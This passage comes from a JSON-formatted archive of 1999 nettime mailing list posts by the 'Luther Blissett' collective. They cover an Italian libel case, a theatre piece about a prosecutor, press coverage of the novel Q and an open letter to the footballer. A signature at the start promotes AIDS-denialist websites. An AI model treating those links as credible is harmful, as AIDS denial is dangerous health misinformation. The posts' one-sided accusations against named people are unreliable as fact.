or the other or both.\n>  The war in the Kosovo seems to favour the second hypothesis.\n>  As far as one can predict, the American isolationist hypothesis (the idea\n> of transferring the American continent to a separate, inaccessible planet)\n> is somewhat unrealistic: the proliferating threat of the bomb holds the\n> planet tight and united in an infernal embrace.\n>  In this screenplay, there is no role for us to play.\n>  We must desert from this inevitable war.\n>  We must desert from nationhood and state, from identity and from\nmembership.\n>  We must become life without duty and without justification.\n>  We must live as if the world did not exist.\n\n\n\nhttp://www.syntac.net/lutherblissett\nA New Guide To The Luther Blissett Project\nlast update: April 1999\nthe endless self-historification. the baffling creation mythologies. the\namazing media pranks. the incredible amount of press coverage. Dozens of\ntexts and several useful pics (including LB's face). You too are invited to\nadopt the \"Luther Blissett\" multi-use name for communication guerrilla\nactions, hacktivism, civil disobedience (electronic and not) and radical\nmythopoesis.\n\n\n'Well, I don't wanna remain underground. There is subculture and main\nculture, and I don't wanna remain as one of the subculture at all. More and\nmore people who like subculture are coming close to me. They nestle close\nto me saying \"Mr. Blissett\", and all of them are weird. I often think \"You\nmust be sick. Take balanced nourishment, vitamins too, and become healthy,\nthen come to me.\" I don't like people intending to be underground.' (F. P.\nBelletati, Naples, April 7th, 1999)\n\n\nRe-thinking AIDS:\nhttp://www.duesberg.com\nhttp://www.virusmyth.com/aids/index.htm\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n",
                "date": "Fri, 16 Apr 1999 03:47:48 +0200",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199904160717.IAA04235 {AT} Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9904/msg00269.html",
                "list": "nettime_l",
                "author_name": "Luther Blissett",
                "subject": "<nettime> Franco Berardi Bifo: Europe, the stillborn ideal"
            },
            {
                "content-type": "text/plai",
                "from": "Luther Blissett <tom9351 {AT} iperbole.bologna.it>",
                "id": "00013",
                "content": "\nLuther Blissett Project, Italian Situation, Updates \nMarch 1999 - # 3\nRepression and the \"Musti Affair\"\n\n\nA few days ago, in the morning, one of my roommates answered the phone and\nan unknown female voice said: \u0091There's a package for Mr. [my real surname],\nnay, for Luther Blissett... It's on your floor's landing, at your\nneighbor's door\". I went out and ran into a smelly card-board box. I opened\nit carefully and found a severed pig head. \nIt's just one of the several threats we've gotten from someone who isn't\npleased with our \"Children of Satan\" campaign. Of course these people know\nthat I'm one of our collective Spiderman's Peter Parkers. Well, we've got\nsome plausible suspicions, those clowns will get the fucking thing up their\nsorry asses before they can say \"ehm...\".  \nThis update is about our libel court case and other related events. Those\nof you who are yet unaware of the case (which originated from our book\n*Lasciate Che I Bimbi: \"Pedofilia\", un pretesto per la caccia alle streghe*\n[Let The Children...: \"Pedophilia\" as a Pretext for a Witch Hunt], 1997)\ncan have a look at\n<http://www.geocities.com/Area51/Rampart/6812/ramp2.html>.  This website\nbadly needs to be updated and revised, I\u0092ll do it myself ASAP. All the\nsame, it contains a fairly good account from the publication of the book to\nSummer 98. \nLuckily, the book wasn't banned, there was no preventive seizure of the\ncopies.  The next hearing is scheduled for 11 November 1999. In the\nmeanwhile, Deputy District Attorney Lucia Musti filed an appeal against the\nfull acquittal of the Children of Satan, putting in a 250-pages-long,\ngroundless objection to the sentence. As always, her text didn't make\nreferences to any evidence or reliable testimony. Moreover, she's looking\nfor some other nark to lie in court and slander the defendants. To make\nthings worse, a few copycat McMartin-like trials are going on in other\nItalian towns...\nThe tangly events that have unfolded since the fateful day we decided to\nwrite the book inspired a thicker and more scholarly essay entitled *Nemici\nDello Stato: Criminali, \"Mostri\" e Leggi Speciali nella Societ\u0155 di\nControllo* [Enemies of the State: Criminals, \"Monsters\" and Special Laws in\nthe Society of Control], which will be available in Italian bookstores on\nMarch 12th.\nAnd now, the latest stunts and coups-de-theatre.\n\nI.\n\n>From La Repubblica-Bologna, 15 January 1999, Thursday, p.V:\n\nSATAN AND THE PUBLIC PROSECUTOR COME ON THE SCENE\nDimitri-Musti Clash Becomes A Play - Black Mass Court Trial To Be Staged at\nTeatro Polivalente Occupato\n\nby Luigi Spezia\n\nThe \"Dimitri affair\" became a theatrical performance, as happened to the\n\"Sofri affair\" staged by Dario Fo. Indeed, this performance focuses on the\nmagistrate that ordered the detention of the president of the Children of\nSatan, thereby the title is \"Il caso Musti\" [The Musti Affair]. The\nBolognese Satan's judicial misadventure will be staged on January 30th at\nTPO (\"teatro polivalente occupato\") in via Irnerio [a notorious squatted\nbuilding, t.n.], a place patronized by Luther Blissett, the collective\nagent of alternative counter-information who assailed Deputy DA Musti's\ninquiry on black masses. The magistrate refused to comment on the latest\n\"provocation\".\n*Il Caso Musti* is authored by Riccardo Paccosi, an actor and playwright\nbelonging to Amorevole Compagnia Pneumatica [...] It will be performed in\nthe context of a benefit show to raise funds for Luther Blissett's court\ncosts. As a matter of fact, Mrs. Musti brought a libel suit against\nBlissett after the publication of the book *Lasciate che i bimbi*, which\nbitterly criticized the Dimitri inquiry. \n*La Repubblica* contacted a spokesperson for Luther Blissett\u0092s \"Permanent\nWorkshop on Censorship and Repression\", which might also be described as\n\"the producer\" of *Il Caso Musti*. He stated: 'Dimitri will get some money\ntoo. He's completely pennyless since his release from prison. IACP [Council\nHousing Institute, t.n.] is about to evict him. Although he was innocent,\nhe's got such a wrecked reputation that nobody is giving him any job'.    \nOn January 30th, the performance will be staged twice during a\nLatin/tropical dancing party. TPO, that was squatted three years ago [...],\nwill turn into a sort of sauna, given that the temperature will rise up to\n35 deg. C,  'in order to escape from this bleak Inquisition winter'.\nMarco Dimitri gave some advice for the performance: 'Last Summer [...]\nthese guys asked for my authorization, which I was very glad to give them.\nI didn't see the rehearsals nor did I read the script, but I provided them\nwith first-hand accounts of the case. I support this work because people\nmust be aware of how risky is the judiciary [...]'.\nAs to Luther Blissett, he declared that Marco Dimitri's judicial mishap 'is\ntheatrically appealing. The case is an Odissey, and the magistrate is an\ninteresting character as well'. Nobody asked the latter's authorization\nthough. It seems that Luther Blissett doesn't fear another suit by Mrs.\nMusti [...]\nRiccardo Paccosi is a young author. He took part to the \"Luther Blissett\nSituationautic Theater\u0092, now disbanded, which was devoted to street rioting\n[...] He describes himself as 'an actor who tries to turn art into ethics\nand then into politics'. [...] 'The play's targets are three: the Catholic\nChurch that backed the inquiry, the judiciary and the media'.\n\n\nII.\n\nfrom *Il Resto del Carlino* [Bologna right-wing daily paper], 24 January\n1999: \n\n\nVIA IRNERIO THEATER TO BE EVACUATED\nIllegal performances in spite of  safety irregularities - The DA Office\ninforms the City Hall - A Show on Prosecutor Musti? \n\nby Biagio Marsiglia\n\nIn the Local Magistrate's Court the rumor is official [bullshit! If it's a\nrumor, then it cannot be official; if it's official, then it insn't a\nrumor. T.n.]. The Teatro Polivalente Occupato in via Irnerio could be\nevacuated by the police by the end of next week. This situation, which has\nbeen tolerated for a long time (at least two years), suddenly became an\nurgent question.\nIn fact, [...] after the news informed that next Saturday night the illegal\ntheater will host a show entitled *Il caso Musti* (i.e. Lucia Musti, the\nmagistrate who handled the investigations on the sect called \"Children of\nSatan\"), the DA office sent an official report, directed to the City Hall's\nEngineers' Office. Now TPO is an \"affair\" itself, and nobody can pretend\nnot to know what happens in there [...]\n\n\nIII.\n\n[This is a press release issued by TPO and other squats, Leftist groups and\nalternative media. The content is provokingly \"liberal\", in order to piss\noff Musti and show her that those fucking Autonomists are far from being\njuridically unprovided.]  \n\n\nTHE HIGH BOARD OF THE JUDICIARY MUST SUSPEND \nLUCIA MUSTI FROM HER OFFICE AND HER SALARY\nBologna, 25 January 1999\n\n[...] [Lucia Musti's move] striked us as an attempt at interfering in the\nhazardous negotiation between occupied clubs and the City Hall, to make the\nlatter lay an iron hand on the guilty of *crimen lesae majestatis*\n[lese-majesty crime]. This is an extremely irresponsible behavior,\nsusceptible of provoking tension and make this problem even worse.\nWe are facing an intolerable, hideous preventive censorship of a cultural\nmanifestation whose content is yet unknown. By a groundless pretext\n(safety), freedom of information and satire is injured, in obvious\ncontradiction with the 21st Article of the Constitution (\"Everyone has a\nright to freely express their thoughts by speech, writing and any other\nmeans of propagation\"). Should an entire community be forced to\n(literally!) pay for the private grudges of a touchy magistrate?\nLet's break through the enemy's lines, and take the field of knowledge that\n- presumably - pertains to Musti. In this case, we find sufficient grounds\nto charge her with 'abuse of official duties' and 'pursuit of private\ninterest in public function'. The substance of the offence invalidates the\nreliability of both this magistrate and this District Attorney Office.\nMusti is not new to infringements and violations: her behavior during the\ninquiry on the Children of Satan striked us as contrary to virtually every\nfundamental principle of the Constitution [...] and many articles of the\nDeclaration of Human Rights [...] \nMusti is not new to the intrusion of her personal opinions into his\ninvestigations, either: a few weeks ago, she announced an inquiry on the\nAnimal Liberation Front and stated: 'I'm crazy for furs. I used my first\nsalary as a judge to buy myself a mink coat'. A magistrate who declares\nhis/her preconceptions towards the people subject to preliminary inquiry\nacts in violation of the Code of Penal Procedure, whose art. 326 obliges\npublic prosecutors to 'ascertain any fact and circumstance that can\nexculpate the person subject to preliminary inquiry'. \nAll this considered, we urge the Disciplinary Section of the High Board of\nthe Judiciary to intervene and suspend Musti from her duties and her\nsalaries, in all cases granting food checks not exceeding the terms of law.\nAlternatively, we ask for official censure and removal to another court. \n\nCoordinamento \"2001 Odissea negli spazi\"\n(Teatro Polivalente Occupato, Luther Blissett Project, Link, Livello 57, il\nCovo, Sottotetto, Grafton 9, Zero in condotta, Radio K Centrale,\nCoordinamento gruppi teatrali, Bambini di Satana)\n\n\n\nThe sensation caused by our reaction forced the City Hall to officially\nstate that TPO wouldn't be evacuated. On 30 January, about 800 people\nattended *Il caso Musti*.\n\n \nNext updates:\n#4 - Q\n\nF.P. Belletati, Bologna, Italy\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n",
                "date": "Thu, 04 Mar 1999 00:06:05 +0100",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199903040306.EAA30490 {AT} Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9903/msg00013.html",
                "list": "nettime_l",
                "author_name": "Luther Blissett",
                "subject": "<nettime> Luther Blissett Update # 3"
            },
            {
                "content-type": "text/plai",
                "from": "Luther Blissett <tom9351 {AT} iperbole.bologna.it>",
                "id": "00032",
                "content": "\n\nThe Times, 9th March 1999\n\nThe name of the footballer cited in literary mystery\nFROM RICHARD OWEN IN ROME\nA FORMER Watford and England footballer is at the centre of a literary\nmystery in Italy involving the novelist Umberto Eco and a group of\nanarchists. The group use the collective identity \"Luther Blissett\" to hide\ntheir identity.\nBlissett played - briefly -for AC Milan, but scored only five times in 30\ngames for the club in 1982, earning him the nickname \"Luther Missit\" and\ngiving rise to the gibe that Milan had bought \"the wrong black Watford\nplayer\". (The \"right\" player would have been John Barnes.)\nIn March 1097 four young Italians accused of travelling on a train without\na ticket all answered \"Luther Blissett\" when asked for their names in\ncourt. It emerged that the loosely organised group of self-styled\nanarchists had been struck by Blissett in Italy.\nIn his latest incarnation, \"Luther Blissett\" has written Q, a 650-page\nnovel set in Renaissance times, with a mixture of real and imaginary\ncharacters. It is full of historical and literary allusions in the manner\nof Eco, author of The Name of the Rose. Described as \"a saga of good and\nevil\", the novel is set against a background of espionage, the\nInquisition's ruthless struggle to root out heresy, Martin Luther and the\nReformation, holy wars and peasant uprisings.\n\"Q\" is the code name of the\nhero, a theological student who becomes the righthand man of Gian Pietro\nCarafa, the Neapolitan aristocrat who became the fanatical and\nnarrow-minded Pope Paul IV (l555-59), clashing with Elizabeth I and\nintroducing the Index of Forbidden Books.\nAccording to La Repubblica, Q was written by Federico Guglielmi, Luca Di\nMeo, Giovanni Catabriga and Fabrizio Belletati. They refuse to give\nbiographical details, beyond saying they are all between 26 and 35 and are\nall from Bolo\u001fgna. II Messaggero said the hook is a \"masterful fresco\ndepicting the struggle of the individual to escape from his preordained\ndestiny... a metaphor for the united Europe of to-day\".\n        The authors said they had chosen the 16th century because it \"saw\nthe birth of all that is rotten in modern life: Europe, mass\ncommunications, the police state, financial capital. It took six months to\nresearch the history, another six months to work out the plot, and two\nyears to write it,\" they said, speaking \"collectively\".\n        Collective writing was \"like a jazz band - some are virtuoso bits,\nother parts we play together. Or a video game in which 20 people are\ncredited as authors. We hope Q will be posted on the Internet. A novel\nnowadays is like interactive software . . . this is the future of creative\nwriting\".\n        The anarchists said they would end their attempts to cause panic in\nthe sanctuaries of power\" in 2000, \"because as Cary Grant said, it's\nbetter to go a minute early, leaving people wanting more. rather than a\nminute too late, when people are getting bored\".\n        The publishers said they were waiving copyright on the hook, in the\nspirit of  \"Luther Blissett\". \"Anyone can reprint it.\" Eco, meanwhile, has\ndenied that the hook is an elaborate \"joke within a joke\", and that he is\n\"Luther Blissett\".\n        The anarchists - their hoaxes include Naomi Campbell's alleged\ncellulite problem and an exhibition of \"chimpanzee art\" - say \"anyone can\nuse the name to show their anger\".\n        They chose Blissett because he was \"a nice Afro-Caribbean guy who\nhad problems with the Italian way of playing foot\u001fball and became a target\nof racist jokes. The Luther Blissett project is a way of taking re\u001fvenge on\nstupidity.\"\n        Blissett, back on the staff at Watford, said yesterday: \"I am not\npleased, but what can you do about it?\"\n\n\nWell, this is grossly superficial and reports things we never said, but...\nit's the press, baby!\n\n\nNext updates:\n# 4. The four names - Blissett's most subtle hoax exposed and praised by\ncomrade General Vo Nguyen Giap \n\nF.P. Belletati, Bologna, Italy\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n",
                "date": "Wed, 10 Mar 1999 02:39:58 +0100",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199903100553.GAA06420 {AT} Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9903/msg00032.html",
                "list": "nettime_l",
                "author_name": "Luther Blissett",
                "subject": "<nettime> The London Times on Q"
            },
            {
                "content-type": "text/plai",
                "from": "Luther Blissett <tom9351 {AT} iperbole.bologna.it>",
                "id": "00036",
                "content": "\nLuther Blissett Project, Italian Situation, Updates \nMarch 1999 - #4-a\nQ's  Deflagration\n\n\nThe piece on Luther Blissett written by the Italian correspondent of The\nLondon Times (see my previous message) is one of the most ridiculous\naccounts of the LBP since its birth. It would be impossible to handle and\nde-construct all the absurd contradictions and non-sensical assumptions\ncontained in the article.  That tall story about tickets and trains is a\nball of bullshit which has bounced from a British rag off to another for\nmore than two years. In 1995 a bunch of Roman Luther Blissetts, during a\nbroadcast of their psychogeographical radio show, occupied and hi-jacked a\nnight bus. The police attacked the vehicle and the \"psychogeographical\nrave party\" flowed into a street riot, with cops shooting skywards and\neighteen \"hijackers\" brought to the nearest police station. Given the\nslowness of our judiciary, the court trial is still dragging on. This has\nclearly nothing to do with Richard Owen's account. Even the description of\nLB as an 'anarchist' and the false statement about 'showing one's anger'\nis 100% copycat crap, already featured on The Daily Express and other\ntoilet paper. None of the four \"authors\" who \"revealed\" their \"real\" names\nis an Anarchist.  Moreover, *Q* has no similitarities with *The Name of\nthe Rose*: no monastries, no Agatha Christie-like mysteries. Q's plot\nstretches for nearly 40 years (not just a week!) and unfolds in the open\nair. The 16th Century doesn't resemble the early Middle Ages in the\nslightest and, what is more, the political content of the two books is\nextremely different.  It must also be said that Umberto Eco is growing\nfoolish and reactionary: last week he praised the New York City Police\nDepartment from his weekly column on *L'Espresso*. The London Times also\n\"forgot\" to mention that rumors about Eco being the 'big brain' behind\nLuther Blissett are part of a Nazi conspiracy theory. I also remind you\nthat the London Times bought those forged Hitler diaries in 1983... :-)\nHere is the Repubblica interview, which was badly translated, heavily\nre-written and dishonestly cut-and-pasted by Mr. Owen. It is preceded by\nan official disavowal of the Repubblica piece, and followed by excerpts\nfrom *Il Messaggero*. In the next update (#4b) comrade Vo Nguyen Giap will\ncomment upon our latest move. Keeping you up-to-date on the twists and\nturns related to a novel that you can't read (at least for the time being)\nmay seem bizarre and redundant. However, I believe that the latest\ncontroversies may cast new light on the Luther Blissett multi-use name and\nthe ways one can adopt it in order to perforate the media and inoculate\nradical content.  As always, I exhort people to adopt the name for\nactivism and electronic civil disobedience. \n\n\n1.\nREQUEST OF DISAVOWAL\n\nIn compliance with article 8 of Act n.47/1948 (law on the press),\ngoverning the right of rectification, we demand that you publish what\nfollows: The headline, subheads and captions of the interview with us\n\"authors\" of *Q* ('Luther Blissett is Us', La Repubblica, 6 March 1999, p.\n6) have no correspondence whatsoever with the content of our statements,\nnor with the tone of Loredana Lipperini's introduction. We never uttered\nthe headlined words (although they were dishonestly put in quotation\nmarks), nor have we claimed to be the authors of any 'computer hoax'. We\ndo not intend to incur all the police and DA investigations on presumed\noffences committed by Blissett's name in several Italian towns. We will\nnot do it, because we are NOT 'the four people who hide themselves behind\nLuther Blissett'.  'Luther Blissett' is a multi-use name that can be\nadopted by anyone and is used every day and every night in the rest of\nEurope and the world. As regards Bologna, dozens of people are involved in\nthe Project. In fact, the statement that kicked off the interview goes:\n'We are less than the 0.04% of the Luther Blissett Project'. \n \nIn witness thereof,\n\nFabrizio P. Belletati - Luca Di Meo - Federico Guglielmi - Giovanni Cattabriga\n\n\n2.\n[La Repubblica, details above]\n\n'LUTHER BLISSETT IS US' By means of an uncommon novel, four people claim\nto be the authors of past computer hoaxes and unveil their identity for\nthe first time\n\nby Loredana Lipperini\n\n\nROME. What happened to minimalism? Where have all those indoor short\nstories gone? This is quite another story: enter *Q*, a novel people were\ncraving for because it would be the debut in fiction of subversive Luther\nBlissett (a pseudonym behind which several authors played computer pranks\nin the past few years) and proved to be a real literary coup, a very solid\nbook that goes beyond any scandal or sensation. An extraordinary\n643-pages-long adventure set in the early 16th Century, made of faith,\nrevolution, conspiracies and massacres. We read about Saxony and armoured\nhorsemen, Anabaptist utopians storming Westphalia, pontifical Rome\nswarming with spies weaving the bloodiest plots and, what is more, two\nfoes chasing each other. They are a nameless theological student and Q.,\nthe \"eye\" of Gian Pietro Carafa, the Great Inquisitor who will become Pope\nPaul IV. The novel is published by Stile Libero Einaudi [...] It is\ncultured, charming and sharply written despite its complexity, and was\nappreciated by more than one prestigious reader who enjoyed it before the\npublication and spread the predictable rumors: the \"real\" author was\nassumed to be some heretic clergyman and/or (obviously) Umberto Eco.\nThings are not what they seem. The authors are four and have been involved\nin the \"Luther Blissett Project\" since its beginnings. They accepted to\ntell us their names, because they do not throw any weight about them.\nSociety news: they are Federico Guglielmi, Luca Di Meo, Giovanni\nCattabriga and Fabrizio P. Belletati. They are between 26 and 35 and live\nin Bologna: some of them work in social welfare assistance or in the\npublishing industry, one works as a bouncer in night clubs. End of the\nbiography.  'Our names' they state in a strictly collective interview,\n'have little importance. Our biographies are even less relevant. We are\nthe team that actually wrote *Q*, and yet we are less than the 0.04% of\nthe Luther Blissett Project'.  Why did you accept to come out then? 'Not\nin order to spectacularize ourselves and become young fashionable hacks or\ntalk show guests, which would be a very dishonourable end. If that ever\nhappens we hope that other Blissetts will finish us off like wounded\nhorses. This move is aimed at showing that we are a collective entity, not\na single \"Author\". Behind Luther Blissett (and behind *Q* as well) there\nis no boss, no mysterious scholar, nor have we been the only Blissetts who\ncontributed. It is network the future of creative writing'. Yes, but you\nstarted from the past. Why did you choose to write a historical novel set\nin the 16th Century?  'Q is a novel that encompasses several genres: it is\na crime novel, a spy story, an adventure novel and, finally, a historical\nnovel. We engaged in a back-breaking narrative, crammed with intertwining\nsub-texts and sub-plots. This is what we like, what literature should be\nabout: telling stories, making mythologies. We're fed up with with\nmagnified short stories based upon one concept (at best!), which are\nnothing more than style exercise, pseudo-autobiographical and\n\"generational\" booklets. The minimalist wave is going to end, nay it\n*must* end. Indeed, it's already over, and long-forgotten. As to the 16th\nCentury, we chose it because it gave birth to Modernity and everything\nthat is rotting today: Europe, mass communications, police apparatuses,\nfinancial capital and the State. And what's more, as the book-seller\nPietro Perna says in the novel: \"Whores, business, forbidden books and\npapal conspiracies. Is there anything else that makes life worth living?\"'\nWhat was the initial hint? 'There were more than one. At the end of 1995\nwe were inspired by reading the papal encyclical *Ut Unum Sint* [That all\nmay be one], Raoul Vaneigem's study on the movement of the Free Spirit and\nJames Ellroy's *American Tabloid*. We might describe *Q* as a synthesis of\nall these things. It took six months to research the history, another six\nmonths to work out the plot, and two years to write it. How was collective\nwriting? 'It's like playing in a jazz combo: good understanding,\ncollective arrangement and individual solos. Another possible example is\nthe production of a videogame: you bump into at least 20 names credites as\nauthors. Is there any difference between a novel and interactive software?\nBesides, Blissett has been saying for years that creative writing is an\nutterly collective operation: concepts can't be anyone's property, the\ngenius doesn't exist, there's just a Great Ricombination'.  The book has a\nyet unpublished clause: it may be totally or partially re-used and\nre-printed, except by other publishing houses... 'Yeah. For the first time\nin the history of the publishing industry we forced a major to accept an\nanti-copyright formula. It's an important precedent, and we're extremely\npleased with it'. Besides, *Q* is also the *summa theologica* of the\n\"Luther Blissett Project, certainly not because the word 'Luther' appears\non the walls at page 69 (in this case, it is Martin Luther), but because\none can find all your concepts: multiple identities (the protagonist's\nnumberless names, ways of infiltrating the establishment... What more?\n'We'd rather people find the references themselves, however, one thing\nmust be said: *Q* pays homage to all those \"second leads\" that make\nhistory, the lively and anonymous multitude sustaining the weight of human\nvicissitudes. Some time ago this multitude was named \"Luther Blissett\".\nAnyhow, baptism is optional'. By the way: Italy's \"Luther Blissett\nProject\" will end by 2000. Why? 'As our cherished Cary Grant said, it's\nbetter to go a minute early, leaving people wanting more, rather than a\nminute too late, when people are getting bored'. \n\n3.  >From *Il Messaggero*, 6 March 1999, p.20, section \"Cultura &\nspettacoli\": \n\n\nLUTHER BLISSETT: THE 16th CENTURY LOOKS LIKE 2000\n\nA thriller, a document. The first novel published in Italy by the\nmysterious author of several computer hoaxes. Luther and the Anabaptists,\nGutenberg's revolution and the Inquisition. A historical fresco. A saga of\nthe Powers-that-be, which is having its first effect: the pursuit of the\nauthor. \n\nby Fiorella Iannucci\n\nIt caused sensation even before entering bookstores. Not bad for Luther\nBlissett, the Master of Deception, the Big Sapper, the impregnable pirate\nthat baptizes his initiates by his own name, assuring that their opinions\nand actions will get much publicity and remain anonymous [...] Here is\n*Q*... whose only synthetic thing is the title, which is followed by 651\npages filled with historical events, dates, crimes, protagonists and\nsecond leads, walk-ons and completely fictional characters. It all belongs\nto that feverish, terrible period which shattered 16th Century Europe.\nHoly wars and heresies, Gutenberg's revolution and Luther's Reform, the\nAnabaptist cult and proto-Communist beliefs, the Peasants' War upon the\nsteel-covered mercenaries paid by princes and bishops. It was both the big\nprologue of Modernity and its undetachable shadow. [...] A thriller. A\ndocument. A novel, as well as a metaphor of the present. Charles V's\nboundless empire (funded by the German bank, swarming with a thousand\nirredentisms) sounds like today's Europe. The Jubilee's road-yards were\nthe same as today's, and many people (Martin Luther first among equals)\nwere indignant with the sale of indulgences to buy Heaven. They still are.\nAs to Gutenberg's revolution (concepts printed on books, classes and\nhierarchies overcome by new knowledge) sounds like the computer\nrevolution, sweeping hierarchies away on a planetary scale, thanks to the\nNet. These are just a few cues, useful for a multi-levelled reading of\n*Q*. This book is a stone thrown into the system's pond [...]\n\nNext updates:\n#4-b  -  The four names: Blissett's most subtle hoax exposed and praised by\ncomrade General Vo Nguyen Giap\n\nF.P. Belletati, Bologna, Italy\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n",
                "date": "Thu, 11 Mar 1999 02:08:50 +0100",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199903111603.RAA25161 {AT} Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9903/msg00036.html",
                "list": "nettime_l",
                "author_name": "Luther Blissett",
                "subject": "<nettime> Luther Blissett Update #4-a"
            },
            {
                "content-type": "text/plai",
                "from": "Luther Blissett <tom9351 {AT} iperbole.bologna.it>",
                "id": "00047",
                "content": "\nAn Open Letter To Mr. Luther Blissett,\n(first-team assistant-coach at Watford FC, England) \n\nDear Watford FC webmasters, 'zine editors and supporters,\n\nI am one of the numberless people who adopted \"Luther Blissett\" as a\nmulti-use name for radical actions and theory, multimedia works, anti-art\nperformances and open political contexts in Italy and other countries of\ncontinental Europe.  Since the mid-Nineties, the British press gave\nextremely distorted accounts of our activities, describing us as\n'Anarchists' (which we aren't) and manipulating our statements. The\nBritish press made us look like moronic students, while we're people who\nwork bloody hard and managed to be praised/feared by the cultural\ninstitutions of our country.  Maybe this distortion is the reason why Mr.\nBlissett sounds very pissed-off in his latest declarations (see The Times,\n8/3/1999, p.3). He (and you) may not share our political and aesthetic\nviews, however we'd like to set the records straight once and for all:  It\nwas never our intention to sneer at Mr. Blissett's unlucky season in\nItaly. We always thought that the press and the supporters treated him\nunfairly since the beginnings: in the early Eighties it took a plenty of\ntime for a British player to understand the Italian way of playing\nfootball, which was boringly defensive. He was never allowed to get used\nto Italy. Moreover, the club was a dreadful rabble of weirdos, and the\nowner Giuseppe Farina was a crook and an alleged arms dealer, who went\nbankrupt a few years later.  We hope that someone will pass this letter on\nto Luther, and post it on the Watford Mailing List. We'd like to get a\nsurface mail address for Luther, so that we can send him our books,\npublications and a lot of press cuttings covering both us and him.  The\nfollowing piece is a colourful article published on today's *Tuttosport*\n(one of the three sports\u0092 daily papers), where both one Luther Blissett\nand the journalist argued that it's time to re-establish Mr. Blissett\u0092s\ngood name.  Thank you very much,\n\nFabrizio P. Belletati a.k.a. Luther Blissett\n\n\n\n\nTuttosport, March 14th, 1999, Sunday:\n\nBLISSETT, FROM RABBIT TO BEST-SELLING WRITER\nby Gianluca Scaduto\n\nDo you remember the English at Milan AC? They were so unlucky that they\npreceded the Dutch trio [Gullit-Van Basten-Rijkaard, t.n.]. Hateley\nretired from football two years ago. Wilkins is about to strike the big\none: he entered the staff at Chelsea and there is a rumour that he's going\nto replace Rix (Vialli's vice, who got mixed up in a court trial under\ncharges of abuse and paedophilia) when the latter is fired. As to Luther\nBlissett, he was one of the most unpopular foreign players in the history\nof Italian football. Since those years, however, we've seen much worse\nplayers, perhaps it is time to rehabilitate Blissett's Italian season\n(1983-84, 30 matches, 4 goals). [Actually 5 goals T.n.] In fact,\nsomebody's trying to re-establish Blissett's good name. After only a few\ndays since its publication, *Q* already needs to be reprinted. *Q* is an\nadventure set in the 16th Century, a 643-pages long ponderous novel,\nauthored by people who had the nerve to recall the Church's skeletons in\nthe closet, a few months before the 2000 Jubilee. The author is Blissett,\nindeed, the real Blissett has nothing to do with this: he's back at\nWatford FC, his former team, and works as a first-team deputy coach.\nHowever, his name was adopted by dozens of people all over Italy and\nEurope, to create the most various situations. Some Luther Blissetts are\nthe bogeymen of journalism: they invent fake news and journalists usually\nbuy them. Their best strike was the story of Henry Kapper [actually \"Harry\nKipper\", t.n.], a \"multimedia guru\" who was travelling around Europe on a\npush-bike, his route virtually spelling the word \"art\" on the map. He\nallegedly disappeared in Trieste, soon before diving into Bosnya. Daily\npapers and press-agencies gave the alarm, \"Chi l'ha visto?\" ['Has Anybody\nSeen Him?', a missing persons' prime-time TV show, t.n.] covered the case.\nTwo hours before the broadcast Luther exposed the hoax: the guru didn\u0092t\nexist. This demonstrated that so-called \"sources\" may be utter bullshit.\nHowever, Blissett's name is also used for political activism and\nthree-sided football games played on hexagonal pitches (\"good old\nTrapattoni\" games: the winner must concede less instead of scoring more\ngoals). Strange blokes, aren't they? And now they've got a face, nay, four\nfaces. *Q* is not a common book, it is a masterpiece, and some people\nbelieved that Umberto Eco was the real author behind the collective name\n(which anyone is free to adopt). Thus the four authors came out (though\nthey took to the bush again, and swear they'd never be guests at Maurizio\nCostanzo Show). The book may even make history: there's no precedent for a\nnovel written by four persons, with an anti-copyright clause. No, they\ndon't believe in 'the romantic concept of genius. Ideas aren't anyone's\nproperty', as stated by one of them. Anyhow, why did they choose\nBlissett's name to sign their works? 'A footballer's name would be an\nexcellent Trojan horse for our actions. We chose Blissett because we\nwanted to rehabilitate him. He wasn't that bad: the year before coming to\nItaly he\u0092d been top goal-scorer in the English league. It was the team\nthat sucked: in fact, president Farina went bankrupt not much time later.\nMoreover, we appreciated Blissett's Jamaican roots:  racists on the\nterraces used to welcome him by crying like monkeys'. And what is Luther\nBlissett's opinion? 'A few days ago The Times wrote about *Q* and asked\nhim: are you glad you've become a literary mystery? He answered: \"I'm not\npleased, but what can you do?\"\u0092\n\nNext updates:\n#4-b  -  The four names: Blissett's most subtle hoax exposed and praised by\ncomrade General Vo Nguyen Giap\n\nF.P. Belletati, Bologna, Italy\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n",
                "date": "Sun, 14 Mar 1999 23:32:57 +0100",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199903150524.GAA00476 {AT} Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9903/msg00047.html",
